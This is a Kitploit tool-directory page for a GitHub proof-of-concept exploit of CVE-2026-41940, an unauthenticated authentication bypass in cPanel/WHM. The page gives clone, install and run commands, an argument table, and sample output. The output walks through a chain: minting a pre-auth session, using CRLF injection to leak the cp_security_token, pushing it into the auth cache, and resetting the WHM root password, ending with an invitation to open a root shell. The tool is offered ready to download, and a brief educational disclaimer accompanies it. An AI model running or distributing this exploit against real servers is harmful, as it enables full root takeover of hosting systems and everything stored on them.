Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-41940 — Proof-of-concept exploit for CVE-2026-41940, an unauthenticated authentication bypass in cPanel/WHM using CRLF injection to leak security tokens and reset the root password. | Kitploit
Tools/GitHubGitHub/rosemary1337/cve-2026-41940
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubrosemary1337/cve-2026-41940

CVE-2026-41940

Proof-of-concept exploit for CVE-2026-41940, an unauthenticated authentication bypass in cPanel/WHM using CRLF injection to leak security tokens and reset the root password.

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-41940 Auto Exploit

Python Status Author


Overview

CVE-2026-41940 is a proof-of-concept (PoC) exploit targeting cPanel/WHM.
This exploit demonstrates an unauthenticated authentication bypass using CRLF injection to leak security tokens and gain root-level access to the WHM interface, allowing for actions such as changing the root password.

Disclaimer: This PoC is for educational purposes only. Do not use on systems without permission.


Features

  • Hostname Auto-discovery: Automatically identifies the canonical hostname to bypass Host header restrictions.
  • Pre-auth Session Minting: Generates a valid initial session for injection.
  • CRLF Injection: Leverages injection in headers to leak the cp_security_token.
  • Session Propagation: Forces the leaked token into the server's auth cache.
  • Root Password Reset: Automatically changes the WHM root password upon successful bypass.
  • Minimal Dependencies: Works with the standard requests library.

Installation

  1. Clone the repository:
root@kitploit:~
git clone https://github.com/Rosemary1337/CVE-2026-41940.git
cd CVE-2026-41940
  1. Install dependencies:
root@kitploit:~
pip install requests

Requirements: requests, urllib3


Usage

root@kitploit:~
python3 CVE_2026_41940.py --target <TARGET_URL> --password <NEW_PASSWORD>

Example:

root@kitploit:~
python3 CVE_2026_41940.py --target https://target.com:2087 --password MyNewRootPass123!

Arguments


Output

The console shows:

  • Status messages [0-4]
  • Success [+]
  • Fail [!]
  • Info [*]

Example:

root@kitploit:~
[0] hostname = target.local
[1] minting a preauth session...
    session base = :XLNfFj4XjKuS4f9V
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
    HTTP 307, leaked token = /cpsess0555762073
[3] firing do_token_denied to propagate raw -> cache...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.110.0.12"}
[*] changing the root password
    passwd -> HTTP 200
[+] now just login to https://target.com:2087 and use the terminal option to get a root shell

Security & Disclaimer

  • For educational & testing purposes only.
  • Do not attack websites without explicit permission.
  • Use in a controlled lab or authorized penetration test only.
Download Tool
FlagDescriptionRequiredDefault
--targetWHM Target URL (e.g., https://host:2087)Yes-
--passwordNew password for root userYes-
--hostnameOverride Host: headerNoAuto